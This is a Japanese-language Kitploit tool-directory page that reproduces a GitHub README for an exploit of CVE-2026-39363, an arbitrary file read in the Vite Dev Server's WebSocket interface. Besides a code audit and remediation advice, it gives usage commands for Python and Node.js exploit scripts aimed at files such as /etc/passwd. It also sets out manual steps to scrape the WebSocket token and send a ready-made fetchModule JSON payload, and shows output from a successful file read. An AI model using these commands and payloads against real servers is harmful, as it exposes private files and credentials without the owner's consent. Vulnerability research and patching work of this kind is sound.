Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/firebasky/cve-2026-39363
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

CVE-2026-39363のエクスプロイト。Vite Dev ServerのWebSocket任意ファイル読み取り脆弱性であり、自動化されたエクスプロイト用のPythonおよびNode.jsスクリプトと手動手順が含まれています。

リポジトリを見る
74ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39363

Vite Dev Server WebSocket 任意ファイル読み取り脆弱性

脆弱性概要

属性情報
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
脆弱性タイプArbitrary File Read (任意ファイル読み取り)
影響コンポーネントVite Dev Server
影響バージョンVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
CVSS スコアHigh
修正バージョンVite >= 6.2.3

脆弱性の原理

核心となる問題

Vite Dev Server の WebSocket fetchModule RPC 呼び出しに、セキュリティチェックのバイパス脆弱性が存在します。

コード監査

脆弱性コードの場所: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // 重要な脆弱性ポイント:URL が file:// の場合、または importer がない場合
  // 直接 resolveId を呼び出し、isFileServingAllowed チェックが行われない!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...処理を続行し、ファイル内容を返す
}

リクエストパスの比較

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    HTTP リクエストパス (セキュリティチェックあり)   │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKED                           │
│  (server.fs.allow をチェック)                                   │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  WebSocket リクエストパス (チェックをバイパス)     │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> 直接 resolveId                   │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> fs.allow 設定に依存                │
│         │                                                       │
│         ▼                                                       │
│  ファイル内容を正常に返す (fs.allow が許可する場合)               │
└─────────────────────────────────────────────────────────────────┘

重要な発見

  1. HTTP パス: ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed の多層チェックを通過

  2. WebSocket パス:

    • fetchModule 関数は isFileServingAllowed を呼び出さない
    • 第二の防御線である loadAndTransform 内の isFileLoadingAllowed は依然として有効
    • ただし、server.fs.allow 設定が緩い場合、任意のファイルを読み取ることが可能

悪用条件

  1. Vite Dev Server がネットワークに公開されている(例: --host を使用)
  2. server.fs.allow 設定が緩い:
    • fs.allow: ['..'] - 上位ディレクトリを読み取り可能
    • fs.allow: ['C:/'] - C ドライブ全体を読み取り可能
    • fs.strict: false - 完全に無制限
  3. wsToken を取得可能(/@vite/client にアクセスすることで取得)

環境構築

root@kitploit:~
# リポジトリをクローン
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# 依存関係をインストール
npm install

# Vite Dev Server を起動(脆弱性デモ用の緩い設定を使用)
npm run dev

脆弱性の悪用

方法 1: Python スクリプトを使用

root@kitploit:~
# 基本的な使用方法(ポートを自動検出)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# プロジェクト外のファイルを読み取り
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# トークンを指定
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

方法 2: Node.js POC を使用

root@kitploit:~
# wsToken を取得
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# POC を実行
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

手動での悪用手順

  1. WebSocket トークンを取得:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. WebSocket 接続:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. ペイロードを送信:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

デモ効果

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

ファイル構成

root@kitploit:~
CVE-2026-39363/
├── README.md           # 脆弱性分析ドキュメント
├── exp.py              # Python exploit スクリプト
├── poc.js              # Node.js POC
├── vite.config.js      # Vite 設定ファイル(デモ用)
├── package.json        # プロジェクト設定
├── src/                # ソースコードディレクトリ
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # 静的リソース
└── index.html          # エントリー HTML

修正推奨事項

1. Vite をアップグレード

root@kitploit:~
npm update vite
# または
npm install vite@latest

2. server.fs.allow を制限

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // プロジェクトルートディレクトリのみ許可
    }
  }
})

3. Dev Server を公開しない

  • 本番環境では Dev Server を実行しない
  • --host によるサービス公開を避ける
  • ファイアウォールでアクセスを制限する

参考資料

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

免責事項

このプロジェクトは、セキュリティ研究および教育目的のみで提供されています。この脆弱性の悪用コードを違法な活動に使用しないでください。このコードをテストに使用する前に、対象システムの所有者から明示的な許可を得ていることを確認してください。

License

MIT License

ツールをダウンロード